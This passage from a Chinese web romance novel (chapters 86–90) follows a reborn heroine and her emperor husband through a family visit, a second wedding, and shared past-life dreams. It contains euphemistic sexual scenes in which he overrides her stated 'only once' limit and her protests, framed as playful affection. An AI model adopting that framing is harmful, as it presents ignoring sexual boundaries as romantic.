那些高门大户都盼着多子多福,若要子嗣多,这事必定是少不了的。 大多数有权有势的男人都是妻妾成群,可见男人是日日都得要的…… 按照谢昭凌所说,确实说得通。 他身边没有别的女子,那么这个重担就落到她的头上。 看来只能辛苦她一些了。 被谢昭凌连哄带骗,好说歹说,她才半推半就地随了他。 好在他素来温柔,即便那日在温泉池中,他弄了那么多花样,也是每一次都叫她体会到了舒适的。 倒不是有多排斥,实在是他体力太好,回回都要折腾她好几次,第二天早起浑身酸软,瞌睡连天,耽误正事。 明日要回娘家,还有许多事要忙,她得保持充足的精神才行。 后背挨在柔软的榻上,身前是他宽阔的胸膛。 她感觉自己像一把琴,任由他拨弄。 关键时刻,乔姝月抓着他肩膀嘱咐:“今晚可以有,但只能一次。” 谢昭凌在上方微顿,黑眸深不见底,他短促地出了一声,乔姝月不知这究竟算不算应下。 指尖似带了火星,凡过之处,皆已燎原。 而她这把琴的琴音终于调试得当。 身体如琴弦般拉紧绷直,任由他慢条斯理地轻轻抚过,慢慢拨弄,终于发出一声一声缠耳的娇泣。 这一场演奏格外漫长,又好似没有那么漫长。 因为极度的舒适,让她全身心皆投入其中,一时间忘却了时间的流逝。 他的技术突飞猛进,想来是学有成效。 不知过了多久,他从里头退开。 乔姝月感觉到温暖离去,还不舍地伸手挽留。 谢昭凌背对着她坐在床边,感受到她手臂缠上来,轻笑了声,回身轻吻下她额头,“先吃点东西。” 乔姝月没有力气,懒洋洋地靠在他怀里由着他喂。 她嗓子全哑了:“若叫阿娘看到这样,定是要训斥我的。” 别看褚氏自小宠她,可谢昭凌的身份到底不一样了,褚氏虽开明豁达,却也不会任由她这般作下去。 一碗粥俩人一人一口,没一会就分食了大半碗。 谢昭凌又喂她一口,“那我们不叫她看到。” “嗯嗯。”她眼巴巴地看着他将勺子送到他唇边,抿着唇,咽了下口水,“阿凌哥哥……” 谢昭凌无奈笑了,将这口也喂给她,“好吃?” “好吃!还想再要一碗。” 乔姝月扒拉着他的手臂,央求道。 她以为谢昭凌会让人再送一碗来,谁曾想他没去叫,这一碗他自己一口都不吃了,剩下的全进了她的肚子。 等最后一口咀嚼完,吞咽下去,也没见到第二碗。 乔姝月抻着脖子往外看。 额头上抵来一只手掌,将她脑袋往回按。 乔姝月一下坐回去,茫然道:“不给吃了?” 他避而不答,反问:“吃饱了吗?” 她实话实说:“还差一点点。” 谢昭凌淡定地将碗放下,“那剩下的一点等会再吃。” 说罢拉着她又倒了下去。 幔帐悠悠落下,乔姝月惊慌失措的声音传出来:“不是答应只一回吗?” “我没有答应。”男人笑了声,“没有证据,莫要胡乱揣测。” 两个的距离愈发靠近,乔姝月感受到了他话里的真实,慌乱中生出一法子,可以仿着前世的样子应付他,用手,用腿,用哪里都好,就是不能…… 还未开口建议,便被人堵了回去。 他如一只调皮的花猫,挤身埋入丛中,拨弄着那丛中多汁的地锦草。 一时不慎折断了茎秆,其中流淌出白色的浆液,被它伸舌卷去。 唾液与草浆融汇,花猫食饱喝足,满足地喵叫一声,舔了舔爪。 而后那草又被扔进火里。 被炙烤,被熔化,烧得面无全非。 风很大,卷着烈焰,直冲云霄。 可怜又无助的小草被火焰裹挟,随着飓风,上下飞舞。 空气中尽是呼吸中带出来的水汽与汗意。 火烧得愈发地旺,花秆中的草液中,忽得涌过一股岩浆。 ** 折腾了一晚,转日果不其然浑身疲软。 乔姝月醒时谢昭凌已经去上朝,不在寝殿。他不在正好,她存着火气,也不想见他。 按照往日经验,前一夜折腾久了,她总是午时前后才醒。所以谢昭凌的原定计划是召见完众臣,陪她用午膳,等晌午再休息一会,午后待他事毕,亲自送她归家。这样算下来他们分别不到十个时辰,甚好。 今日可巧,巳时不到她就醒了,他还未下朝。 乔姝月撑着身子起来,连早膳都没吃,带着人跑了。大婚要用的婚服及一应用具早在前几日就送到了乔家,她跑得也轻松。 今日散朝晚,加之转日要大婚,有许多繁琐的事等谢昭凌做决定,外省又送来几分急报,等他处理完急事,已经快午时。 谢昭凌还在前头的外书房,怕她久等,就想让人去后宫传个话,让她先吃。 小太监领了命都走到了门口,又被他叫回。 谢昭凌忽然有种不好的预感。 往日他若忙得晚了,她总会派人来给他送点心,生怕他忙昏头忘了吃东西。 今儿他已然察觉到饿,她怎么还没找来? 心虚地想着,别是昨晚把人惹狠了,今儿格外不待见他。 心里存了疑惑,便再坐不住。 他放下奏折,急匆匆往回走。 思政殿中安静得可怕。 到了寝殿一看,果不其然,人去楼空。 约莫是怕他为难底下的人,干脆把偏殿里伺候的一应宫女太监全都带走了。 谢昭凌:“……” 眼下他当真成了个孤家寡人。 他咬咬牙,换了身常服,追了出去。 第87章 【87】 乔姝月回到乔家,阖府上下皆是一片喜气洋洋。 褚氏和乔父皆没瞧出异样,反倒是四哥将她拉到一旁。 “陛……”乔誉顿了顿,“兄长呢?怎么没送你回来?” 乔姝月腰还酸着,一只手悄悄揉了揉,闻言冷哼一声。 “陛下国事繁忙,哪还顾得上我。” 乔誉面色复杂,盯着她看了半晌,忽然道:“你不会是偷跑出来的吧?” 乔姝月:? 她错愕道:“四哥,你们还真是亲兄弟啊!” 乔誉拧眉看了一眼周围,压低声:“小声些!” 他和谢昭凌是兄弟这事,至今没有其他人知道。 当初乔家父母也只是知道陈姨娘被高门大户的纨绔子弟给害了,至于是哪个,他们不清楚,陈姨娘不说,他们就不问。 乔家父母知道乔誉清楚真相,是陈姨娘自己去坦白的。陈姨娘只说她将乔誉的真实身世告诉了他,至于孩子的生父是谁,陈姨娘依旧没提。 褚氏不愿揭人伤疤,只是心里没底,乔誉既知自己非乔氏亲生,难免没有认祖归宗、回归本位的心,所以整日里望着乔誉欲言又止。 乔誉见状明确表示,自己生是乔氏人,死是乔氏鬼,褚氏一听眼泪就下来了。 是以这个秘密就烂在几个人肚子里。 乔誉的表情一言难尽,“所以你真是偷偷回来的?” 乔姝月扁扁嘴,脸扭到一边,没吭声。 乔誉无奈地笑她,正要开口,目光忽得一顿,落在她衣领处。 他视线飘忽,不自然地摸了下鼻子,咳了一声,转头对玉竹道:“去给你家主子拿件披风。” 说罢也不解释,摇摇头,笑着走了。 乔姝月一头雾水,玉竹拿了衣裳给她裹上,“咦”了一声,而后玉竹脸颊通红。 乔姝月微怔,想起什么,也慢慢红了脸。 她胡乱将披风往上裹,用力系严实,想起四哥那意味深长的眼神,她咬着牙又在心里骂了谢昭凌一通。 乔姝月回来得早,褚氏听说她没吃,急急忙忙让厨房去准备。 谢昭凌来时,她一顿饭正好快用完了。 底下人来报时,褚氏以为自己听错了,“你说谁来了?” 小厮急得满头是汗,“陛下来了!” 自从谢昭凌登基,他在乔家的称呼就从“姑爷”变成了“陛下”。 褚氏与乔父等人赶忙接驾,乔姝月稳坐如山,当没听到似得,继续吃碗里的饭。 乔誉路过时睨她一眼,没说什么,抿唇笑着,由她耍小性。 这么多年过去,某人还是被妹妹拿捏得死死的。 乔誉心情极好,暗叹了声,天道好轮回,这就是一物降一物。 远远的,听到褚氏告罪,说女儿是身子不适,这才没来相迎,请他千万见谅。 褚氏原本是为女儿开脱,怎料谢昭凌一听这话脸色都变了,顾不上与岳父母寒暄,快步往里走。 他走得实在太快,要不是乔誉躲避得及时,都险些被他撞开。 乔家父母上了年纪,一路追得气喘吁吁,等他们跟到主院,这才瞧见那个已是九五之尊的男人,低声下气地蹲在女孩身边,仰着头,讨好地冲她笑着。 褚氏看得脸一红,赶忙招呼人都退出去,给二人留了空间。 这厢谢昭凌将其余人一概无视,厚着脸皮:“娘子,我饿。” 乔姝月面无表情地抬眼,阴阳怪气:“是哪种饿啊?” 谢昭凌:“……” 他轻咳一声,偏过头抿去笑意。看来昨晚是欺压得狠了,心里存了不少气。 好在他来得及时,若放任她自己待着,这火没准越闷越大。 谢昭凌两只手搭在乔姝月的膝上,按着她的腿晃了晃,好声好气道:“我饭都没吃,饿了一上午。” 乔姝月觉得他这姿势眼熟。 二哥院里养的那只大黄平日也是这样扑人的。 她念头才起,便噗嗤笑出声。 谢昭凌茫然地望来,那目光和大黄更像了。 乔姝月强迫自己别过头去,甩开脑子里那些乱七八糟的东西。 她的笑瞬间没了,脸色淡下去,谢昭凌又有些慌。 “阿月为何在屋里还穿着披风?可是冷了?”他道,“初春时节是容易受凉,多穿些也好。” 他本来是没话找话来着,结果这一问,又戳在人的痛处上。 乔姝月嗔他一眼,埋怨道:“都说了不要在外头留痕迹!” 谢昭凌怔愣一瞬,很快反应过来,他没敢往她身上看,生怕一个眼神又会令她不满,盯着她的眼睛,迟疑道:“是谁看到了?” 乔姝月委屈道:“四哥。” 谢昭凌“哦”了声,松了口气,“那我回头让他忘了。” “你打算怎么让他忘了?威逼吗?他是你弟弟,可也是我兄长,你不可以老是凶他。” 谢昭凌顾不上吃醋,见她恼,自然是她说什么便是什么,“好好,我不凶他,那我不让他在你跟前乱说。” “四哥很有分寸的,不像某人,不让做什么偏要做。” 谢昭凌失笑道:“阿月,那种时候,我若还能克制着守着分寸,那就算不得男人了。” 乔姝月哑口无言,红着脸低头,筷子戳碗里的饭,再不搭理他。 “娘子,我真饿了。”他拉过她的手,贴上自己的脸颊,拍了拍,“求娘子赏我两口饭吧。” 这天下都是他的,还能短他一口吃的? 他就是非要吃她碗里的不可。 她斜他一眼,带着撒娇的语气,嗔怒道:“谁家夫君像你这般……” 谢昭凌饶有兴致地道:“什么?” 乔姝月羞赧地咬了下唇,小声骂道:“不要脸,不正经!” 谢昭凌哑声轻笑,终于从地上起身,倾身过去将人抱到怀里,“所以他们才都不是我,只有我能娶到阿月这样好的姑娘。” 乔姝月被他哄得不好意思见人,埋头在他怀里,抬手捶了他一下,而后环住了他的腰。 谢昭凌知道自己这是把人哄好了,笑得愈发开怀。 俩人黏黏糊糊地吃了半顿饭,谢昭凌没吃饱,乔姝月带着他回了木兰院,让人给他弄吃的。 褚氏见人离开,长舒了口气,很快又担忧起来。 乔誉察言观色,知道她在担心什么,却还是问:“母亲在想什么?” 褚氏无人诉诸心事,知道乔誉近来往宫里走动频繁,便生出对他说说的想法。 “月儿这般恃宠而骄,陛下也哄着她,我看不过是这男人骤然大权在握,还未适应。等他习惯了身居高位,哪还容得旁人这般挑衅作践?” 乔誉哭笑不得,“这就叫作践了?” 褚氏叹道:“权势的滋味你哪懂啊,人一得了势,从前多好的交情都不再作数了。” 乔誉知道多说无用,便也不再解释。 他走出房门,望向木兰院的方向。 心里总有种直觉,他兄长这辈子大概都走不出妹妹这道情关。 ** 再一次从乔家出嫁,乔姝月又伤感了一回。 上回她嫁得低调,悄无声息。这回全城都知道,今日是他们大喜的日子。 十里红妆,皆是谢昭凌添补的。 百姓朝拜,鼓乐齐鸣,颈带红绸的高头骏马牵引着凤辇,缓缓朝皇城而去。 …… 等到繁琐的礼节过去,天色已经暗了下去。 回到寝殿,谢昭凌亲手将盖头掀起。 两人喝合卺酒时,乔姝月忽然笑了一声。 她一笑,手一抖,杯中酒险些撒出去。忍着笑意,才将酒饮了下去。 按理说这样严肃庄重的仪式,不该有失体统。 可她莞尔一笑时,眉黛间染上春色,灿如春华,实在很难有人不心软。 谢昭凌看得心脏倏得一麻,,亦随之眼带笑意,眸中有纵容与宠爱流淌出来。 宫中的嬷嬷们便都无奈地会心一笑,收了酒杯,按照惯例说了些吉祥话,都识趣地退了出去。 房中再无外人,乔姝月终于憋不住,笑倒在男人怀里。 “怎么这样开心?” 嫁给他,就这么高兴吗? 谢昭凌熟练地将人揽住,垂眸看她,低眉浅笑。 乔姝月躺在他腿上,仰头对上他专注的目光,笑道:“你说,哪有人家是跟一个人成两次婚的?” “我们。” “也就只有我们啦。” 她越想笑得越开心,他见着她的笑颜,顿有一种不枉活一生的感觉。 不止有两次仪式,还有两次的洞房花烛。 今日的发髻太过复杂,谢昭凌极有耐心地为她拆下。 嫁衣繁复,逶迤及地,谢昭凌一件一件帮她去除。 乔姝月赧然地往后缩,“这些该由宫女来的。” 谢昭凌将沉重的衣袍搭在架上,随口道:“我只是想与你做一对平凡的夫妻。” 乔姝月微微一愣,倏地抬眸。 眼前人眉眼温柔,渐渐与印象中的男人重合在一起。 “眼下这个愿望无法实现,但是我们私下相处时,我还是希望能做一个普通的丈夫。” 他同前世一样,向她求娶时,说的话都别无二致。 乔姝月眼眶发热,别过头去,将眼泪眨掉,才鼓起勇气,迎着他的目光。 “阿凌哥哥,我好像从来都没有说过。” “我也爱你的。” 在你一无所知的时光里,早早地就爱上你了。 第88章 【88】 良宵苦短,再多说话都是浪费时间。 他们对于彼此早已十分熟悉,可每一次相融都有不一样的感受。 每一次,他都会被她挑动得情难自已。而她同样会为他战栗,在掌心下,娇艳犹如一朵盛开的牡丹。 她背靠在床头,被他抱坐在腿上。 又是没有尝试过的方式。 “陛下当真是好学。” 跨坐在上,双腿向外弯折,内侧在榻上随着摇摆磨蹭,发出簌簌声响。 她这一声“陛下”唤得谢昭凌不太习惯,但她说得却十分熟练,仿佛早就喊过许多次似得。 她紧紧含着,将他裹得有些难受。 莫顶的舒适很快让他忽略了称呼中那点违和感,他带着气声笑道:“勤学也要苦练才行。” 乔姝月眯起眼睛,“苦着你了?” “不苦,很甜。”他凑上来从她唇缝中勾扫了一圈,抿了抿,一本正经道,“似甘露一般。” “都说人生有四大喜事,这一晚我便尝到了其中两样。” 乔姝月在摇晃的视野中勉强找回神志,迷迷糊糊道:“哪两样?” “久旱逢甘霖。” 他双眸深暗,用力前击了一记。 又笑道:“洞房花烛夜。” 乔姝月大脑一片空白。 他的声音似从很遥远的岸边传来。 空茫而悠远,带着浓烈的眷恋与迷乱。 她犹如海中漂泊的小舟,风浪时起时平,她便随波逐流。哪怕那浪水一股一股漾进来,她也只有接受的份。 小船孤立无援,任由水波击打,几次被海水满灌,却又避无可避。 浪潮不息,她便永无安宁之日。 船身不大,早已容纳不进更多的海水,于是她只得本能地哭泣哀求。 恳请他大发慈悲,能许她放出去一些。 可惜她不知,她的哭求只能让那风更变本加厉地搅动潮水。 许久过后,她才颤着声音道:“久旱?哪里久,明明前日才刚——” “前日是前日,今日是今日。”他帮她抹去额角的汗,胡搅蛮缠,“况且,昨日是没有的,整整两日,还不算久吗?” 乔姝月的思考能力全被颠碎,随着他的动作都抛到了九霄云外去,哪里辩得过他。 干脆眼睛一闭,趴在他肩头,用力咬了他一口。 越是痛,越能激起男人的破坏欲。 他揽着她,愈加发狠起来。 午夜时分,潮水渐渐退去。 乔姝月靠在他怀里,睡得很熟。 “陛下……” 将她从浴桶中捞出时,听到这一声梦呓,谢昭凌扬了扬眉。 仔细想想,方才一通折腾,虽然她还是喊他做“阿凌哥哥”,但不经意间会突兀地冒出来两声“陛下”。 谢昭凌敛眉思索,没琢磨出个所以然。 抱着她回了被窝,揽着人美美睡下。 …… 谢昭凌自从做了皇帝,也没丢下早起练剑的习惯。 哪怕前宿折腾到三更,转日天刚亮也起了,精力充沛,非常人能及。 乔姝月睁眼时,便见男人已晨练完毕,抱着一堆奏折回了房。 昨日大婚,今日他可以休假三日,不去上朝。然而朝可以不上,奏折却不能不处理。 乔姝月冷眼瞥他一眼,和他对上视线。 谢昭凌心虚一瞬,讨好地笑了笑。他捧着满怀的奏折,一时间举步维艰,不知是该继续按着原来的计划,到她身边去看,还是去外头暖阁上批。 乔姝月没给他什么好脸,无精打采地白他一下,裹着被子,翻身朝里,闭上眼睛又睡了过去。 谢昭凌不敢再往里了,惆怅地叹了声,老老实实去了外间看奏折。 ** “乔姑娘,你来看这里,”高大英俊的年轻君主十分平易近人,他毫无架子地蹲在路边,指着草丛道,回头冲着她笑,“这儿有只小猫。” 乔姝月眼睛一亮,快步走了过去,她弯下腰往里瞧,半天没看到影子,“哪儿呢?” 帝王带笑的目光在她兴致盎然的面上停留了半晌,时间长到她疑惑地望过来,他才心满意足地收回视线,笑着将猫抓了出来。 “这小脏猫,日日都在这埋伏孤。” 这小猫被人扼住后颈,乖顺地垂着四条腿,一双圆溜溜黑漆漆的大眼睛瞅着乔姝月,把人一颗心都看软了。 乔姝月面露怀念道:“我舅舅和二哥原先都养了一只小猫,只可惜……” 可惜人都死了,一只小畜生又能有什么活路呢。 “你舅舅……褚将军么?” “陛下知道他?” “嗯,他帮了我许多,可惜后来病故,没能撑到回京。” 乔姝月长大后就没见过褚玄英,原以为多年前就战死在沙场上了,不曾想眼前人竟知道内情。 她一时激动,抬手去抓他的手臂,握上那瞬,两人皆是一愣。 男人的目光一如既往地温柔爱怜,没有攻击性。 乔姝月红着脸,松开手,期期艾艾:“陛、陛下,一时情急,还望……恕罪。” 男人低笑一声,没有理会她的道歉,他似知道她要问什么似得,随手将小猫塞给身侧的小太监。 “我们沿途收复失地,路过一个染了疫病的城镇,这地方一开始只一个村染了病,地方官员欺上瞒下,知情不报,以为能悄无声息地处理了,谁知疫病蔓延……” “我们到时,那父母官跑了,留下了一城百姓等死。” “褚将军看不惯百姓受苦,于是来问孤,能不能让他留下来救人。孤没同意,他就自己带着大夫跑到病患营里去。” 帝王仰头望向天空,轻声呢喃:“他知道我赶着进京,所以也不愿拖后腿。” 一边是亲外甥女,一边是成百上千的百姓。他最终选择将自己的外甥女都托付到他认的君主手中,而自己选择奔赴大义。 乔姝月听罢,眼底浮现起哀伤。 不过也不是不能接受,在她心里早已认定,这世上再没亲人存活在世了。 如今多知道了点舅舅的事,算意外收获,是好事。 “他有留下什么话吗?” 帝王沉默了会,摇头说没有。 “陛下从舅舅那听说过我吗?” “嗯,他和大家讲过你家的事。” 乔姝月点点头,没再追问。 俩人并肩往回走。 临分别前,帝王忽然开口。 “乔姑娘,孤昨日提的事,不知你考虑好了没有?” 昨日他们站在湖边,他对她告白。当时她没有答应,含糊了过去。 此刻乔姝月又生出了退却的心。 他早知道她的存在,那他善待她,究竟是不是受故人所托? 听他的语气,应该很欣赏她的舅舅。 舅舅选择了百姓,所以他会不会为了让舅舅安心,才特意照顾她。 那他所说的喜欢,说想她永远留在他身边,究竟有多少是不掺任何别的因素,纯粹是发自真情呢? 帝王的爱,有几分真心可信? 乔姝月想,她应该对他很有好感,否则此刻不会感觉难过。 她为难地咬住唇,目光躲闪,“陛下……” 男人沉默片刻,低叹着笑了,他没再揪着那个问题问,转而道:“可要将这猫儿带回去养?” 乔姝月犹豫着,最终还是摇头。 太医说她内脏都有一定程度的损伤,这猫儿会掉毛,对她休养无益。 这条命是谢昭凌千辛万苦才保住的,她万事都要小心。 男人笑着颔首,转身走了,乔姝月看着他的背影,黯然神伤。 …… “陛下……” “阿凌哥哥……” 靠在床头假寐的男人在第一声唤时就睁开了眼睛。 听到后头那声“哥哥”,眉眼间软化,浮现出温柔。 她不安地醒来,眼底还有未散的忧愁。 谢昭凌心头一紧,将人抱到怀里,手拍拍她的背,“做噩梦了吗?” 女孩没答,紧紧搂着他脖子,拼命往他怀里靠。 她忽然没有安全感地问道:“若你一早就听说我,会因为旁人的嘱托,就娶我吗?” 谢昭凌愣了下,迟疑道:“梦到什么了?” 她答得干脆:“嗯,梦到若轨迹没有改变,你遇到了我舅舅,他死了,临终将我托付于你。” 谢昭凌恍然大悟。 这梦他曾经也梦到过一回,原来有些事她也不是一早就知道的。 见他没答,她急着催促:“你会吗?” 前世他们拉扯时,有许多问题并未说开。后来她深深爱上,才答应他,那之后觉得那些问题也没必要再问。 难得糊涂,有些事不该追根究底令自己不愉快。 可今生在蜜罐里泡得久了,她越来越贪心,计较这个计较那个,骤然想起前世的辛酸,非得事事问清缘由不可。 她也知道眼前的谢昭凌并非是前世的陛下,但她顾不上那么多,一定要听他的解释。 感受到她的焦躁不安,谢昭凌却笑了笑,掌心在她后背贴实,源源不断的热量传到她身上。 他咬住她耳廓,轻声道:“真是傻,我想要照顾你,还愁没有别的办法吗?” “比如将乔家的宅子还给你,让你守着你从小长到大的家。你若不喜欢睹物思人,就留你在宫中做个女官,或者认你做义妹,封为长公主,为你择一门靠得住的夫家,你没有兄长父母,往后我为兄为父,做你的后盾。” “有太多法子替你撑腰,何必搭上我自己呢?”他好笑道,“难道我一生的幸福就该随意赔给别人吗?” “若留下你,那必定是爱上你,不肯将你相让于别人。” “我总有为自己争取机会的权利吧?身居高位只一点好,那就是我看上的人,谁也没法和我抢。” 于大殿之上,将她扣下,那是谢昭凌最认同梦中自己做的一个决定。 他甚至在醒来时都想为其叫一声好。 所谓“先下手为强”,哪怕是被说是挟恩图报,他也认了,反正他从来不是什么手段光明磊落的人。 “我哪有那么好……” 乔姝月眼泪竟这么掉了下来,抱着他的脖子,呜呜地哽咽。 “你还不够好吗?这么漂亮。” “你不知你长大后那模样,我见了有多喜欢。”谢昭凌不好意思地笑笑,“是否有些肤浅了?” 多年后回京重逢,在街上见那面,只需要一眼,他便知道,此生的情劫来了。 肤浅也没办法,他们之间早有牵绊,生出爱情是迟早的事。 只是那一面给他的冲击实在大,当晚回去便做了与她有关的梦。 他真的很喜欢她。 两人互诉衷肠,说着说着,有人又来了感觉。 乔姝月眼角还挂着泪珠,不可置信地看他,“你又?” 谢昭凌无奈道:“你总在我怀里蹭,我有什么办法?” 他不愿折腾她,怜爱地摸摸她的头,打算离开自己冷静冷静。 却不曾想乔姝月此刻正多愁善感着,十分“好说话”。 她拉住他的袖子,把人拽了回来。 迟疑半晌,试探地伸手过去。 谢昭凌脸色蓦地变了,一把按住,“作甚?” 乔姝月脸红道:“帮你。” 他瞥一眼,“用手?” “嗯。” “哪学的?” 乔姝月目光飘忽,“梦里。” 谢昭凌的目光骤然变得很深。 原来她的梦里,还有这些画面。 第89章 【89】 原本谢昭凌想要独自冷静的计划破碎。 他很好奇,她的梦里还有什么。 于是干脆拉着她一起探寻。 好在婚后有三日休沐,他们可以尽情享受,无需担忧会被人忽然打扰。 “阿月既然在梦里都见过了,那早怎么不同我说呢?” 眼瞅男人看自己的目光愈发不对劲,乔姝月通红着脸,连连摆手,“我没有早就梦到。” 要是让他知道自己幼年的身体里也装着一个成熟的灵魂,还不定要怎么想她。 老天作证,她平日可没有那么多不合时宜的想法。 “那阿月是何时梦到的?”谢昭凌不依不饶,握着她的腕子,一个灵巧用力,便将她又按了回去,“成婚前吗?” 他步步紧逼,乔姝月招架不得,直往后躲,“没……” “可是阿月,我若早知你清楚这些,就不在你面前卖弄了。” “娘子才是真正博学的那个,连这个都会。” 谢昭凌一边说,一边带着她的手往下。 乔姝月被他臊得抬不起头,一面往后缩手,一面支支吾吾,“我不会,真的不会……放开我。” “你会的,方才不是主动要碰,怎么此刻又不敢了?” “堂堂国母,每一字每一句都不容有失,话既已出口,便要为其负责才行,倘若出尔反尔,又如何能服众?” 她力气敌不过他的,狡辩也辩不过。 掌心忽得碰到了个烙铁,那铁块还是才从火里捞出来的,烫手得不行。 “它实在太凶了。” 没防备,心里话小声说了出来。 男人闻言失笑,抓着她的手渐渐用力,双眸深暗,哑声道:“放进去时不嫌它凶,怎么此刻又害怕起来了?” 乔姝月头摇得像只拨浪鼓,脸色鲜红欲滴。 她前世里从未与陛下在白日里胡闹过,晚上他们在榻上,屋里熄了灯,又有幔帐遮挡月光,光线很暗,她一次都没瞧见过。 就算有一回陛下坚持要燃着烛火,她也没敢睁眼看。 这还是她头一次直面其恐怖。 乔姝月垂着眼睛,只顾着躲避。 来回拉扯推诿,竟没察觉他何时也挤到了榻上来。 袍子撩开,将她的手不容置喙地盖上去。 而后抓着她滑动了起来。 他目光幽深,嗓音中带了股威慑味道,“让我来看看阿月的梦吧。” 乔姝月蓦地扭过头去,紧闭上双眼,渐渐地,感觉手都不再是自己的。 火热,强硬。 感觉掌心都要搓出火星似得。 掌心的湿被人擦净,手指一根一根也变得干爽。 乔姝月一脚把人踹下榻,被子蒙住了脑袋。 闭了会眼睛,听到有脚步声渐渐远离,片刻后,又折返回榻前。 乔姝月一动不动装死。 隔着被子,能感觉男人就站在她面前。 好奇心驱使她想要掀开被子一探究竟,可又害怕打开以后,他又缠着她胡来。 刚刚才有过一回,应该不会那么快吧?不行,万不可对他抱有侥幸心态。 乔姝月本分胆怯地龟缩在被子里,心中百爪挠心。 细细听去,能听到有细碎的声响。 好像是有什么东西从被子上划过的声音。 这声音磨得人更心痒了,乔姝月打定主意,他若还拉着她再来,那她就真的要翻脸了! 一咬牙,将被子一把掀开。 “嗷!” 头皮一阵剧痛,乔姝月红着眼睛,捂着脑袋看过去。 谢昭凌保持着一个鬼祟的姿势,单膝跪在榻前,趴在榻沿,一手举着剪刀,另一手僵停在空中,看姿势似乎是想拿什么东西,可他手里空空的,什么都没有。 看面色,他似乎有些尴尬。 四目相对,面面相觑。 还是谢昭凌先回神,直起身,心疼地摸摸她脑袋,“抱歉。” 乔姝月委屈道:“你在作甚?!” “我……”谢昭凌一边揉,一边叹了口气,“我想借你一样东西。” 乔姝月眨了下眼睛,忽然灵光一闪,“你刚刚偷偷拉我头发了?” 她躲在被子里,长发铺散开来,有一些遗留在被子外头。 刚刚听到的声音应该是头发被拽出去的声音。 谢昭凌有些难为情的“嗯”了一声。 “你不会是想……” 谢昭凌紧张地咽了咽嗓子。 乔姝月沉默了会,从他手里夺过剪刀,捋出一小绺长发,“咔嚓”一声,大方道:“给你。” 谢昭凌愣了愣,没接。 乔姝月二话不说,从他高束的马尾上也剪了一刀,她羞赧地飞快瞥他一眼,又低下头看着掌中两条头发,嘟囔道:“当我不知你心里在想什么啊。” 谢昭凌垂下眼睛,将属于两个人的头发打了个结。 他微微弯起唇角,“我与娘子,永结同心。” 打过结的头发被谢昭凌小心翼翼地塞进了一个荷包里,乔姝月一眼就看出那个荷包是自己送给他的。 她也笑了,“这是你才到我家时,我深夜跑到你房里,强行塞给你的。” 提起那段时间,谢昭凌眉眼愈发温柔,“嗯,是我们的定情信物。” 好吧,这也算定情信物。 乔姝月无奈道:“起初你怎么都不肯用。” “我没有扔了它,我只是将它放回到那堆物件的最顶上,风将它吹落,我……” “我知道的,阿凌哥哥不用解释。” 谢昭凌趁她消气没防备,偷偷摸摸坐回榻上,将她慢慢搂紧怀里,见她不反抗,抿着唇笑了笑。 “其实我当时很怕你误会我。” “为何?”乔姝月诧异道,“我以为你讨厌我。” “我从未讨厌过你。”他摇摇头,“我只是自卑而已。” 害怕自己满身的血污弄脏了如月光般皎洁的小菩萨。 乔姝月忽然想起他之所以接受这个荷包,是在将里头的药草都扔掉的前提下。 好奇道:“你为何不喜欢我送你的安神香?” “什么安神香?” “就是荷包里原来放着的东西啊,一些安神药草,很珍贵的,就那么一点,我都给你了。” 谢昭凌有些惭愧,同她道歉:“原来你都看到了。” “对呀,我偷偷躲在墙后,看你出来以为你要扔掉荷包,还难过来着,结果你只是将药草倒了出去。” “我……阿月,这段回忆,有些难以启齿。” 见他为难,乔姝月便想算了。 谢昭凌却不打算再瞒她任何事。 他鼓起勇气,“幼时养母也给我做过一个荷包,里头放着一些药草,她骗我说是好的,其实都……” 乔姝月忽然反身将他抱住,与他交颈相拥。 “我们刚遇到时,你身上的那些旧伤,都是他们弄得?” 谢昭凌回忆道:“有一些吧。” 大多数都是他自己制造的,只是为了在药草的作用下保持绝对的冷静与清醒。 “她在荷包里放过迷药,会让我渐渐失去对身体的感知。” 变得麻木以后,好任他们取血。 不过后面这句就没必要同她讲了,她会难过会害怕。 可他不说,乔姝月那么聪明,哪会想不到? 她轻喃道:“失去感知,便任他们为所欲为,肆意糟践你了。” 谢昭凌偏头吻上她侧脸,用力抱住她,安抚道:“都过去了。” “都过去了。” 乔姝月亦紧紧回抱住他,将眼泪默默用袖子擦去。 关于谢昭凌幼时的经历,乔姝月一直都只一知半解。 前世陛下避讳谈及这些,为了维护他高大英明的形象,他不愿透露任何会令他看起来不够威武强大的过往。 今生的谢昭凌却不同。 他落魄的样子她见过,狼狈的时候她也就在身边,他自一开始就不是高高在上的,所以也没有那么多顾虑。 今生的他避而不谈,只因为怕她难过而已。 到了晚上,两个人难得没有厮缠,而是安静地相拥睡去。 谢昭凌第二次做了所谓的“预知梦”。 梦里的他穿着与现在一样的玄色龙袍,将人困在书房的一角,肆意地亲吻。 外头还能听到有大臣朗声抗议的声音,屋里气氛焦灼,气温节节攀升。 他扣着女子的后脑,将她按在自己的怀中肆意索求。 而女子乖顺地依偎在他怀里,并不反抗。 可松开时,分明看到她眼角有泪。 谢昭凌知道,这是屈辱和委屈的泪。 梦里的男人似乎一无所察,很满意她的顺从,抬手摸摸她的头。 谢昭凌在一旁看着,只恨不得一拳打在梦里的自己身上。 没看到吗?她不愿意! 她不愿意,只有他看得分明。 外头的大臣不知何时安静下来,似乎是离开了。 屋里的男人在软榻上坐下,又将女子抱到自己身上 他低声问:“可知错了?” 女子低眉顺眼,“妾身知错。” “错在何处?” “我……”女子茫然抬眸,目光中带着怯怯的惊慌。 男人无奈叹息了声,捏了捏她的鼻子,“往后若再与孤说什么一别两宽的话,你就别想着好了。” “陛下还能如何?” “孤就当着那些大臣的面吻你,”他眯着眸子,见她果然害怕,继续威胁道,“让所有人都看着,孤是如何宠爱你的。” 女子红着脸,糯声道:“妾身再不敢了。” 谢昭凌:“……” 他不明白,为何梦里的阿月这般听话。 要是放在现在,他敢这样说,定要被她一巴掌拍到肩上。 梦醒来时,谢昭凌还带着浓浓的疑惑。 梦里梦外,差这么多吗? 第90章 【90】 休沐过后,谢昭凌又忙碌了起来。 晚上他回到寝殿时,乔姝月已经睡熟了过去。 谢昭凌躺在她身侧,再一次失眠。 其实在她身边的时间里总是幸福而踏实的,可是这两天他愈发察觉出不对劲。 他开始频繁地做“预知梦”。 他看到了乔姝月梦里的那个原本的世界是什么样子。 第一日,梦到自己从梧县逃出后,到了西京,同样进了悦泉楼。但不同的是,没有一个浑身上下都圆圆的可爱的小姑娘将他救出去。 在那个命运的转折点,他选择跟着郑丰南走。一路摸爬滚打,做了数不尽的肮脏事。 每日挣扎求生,即便后来一步步从泥沼中爬出来,他也没有一日是快乐的。 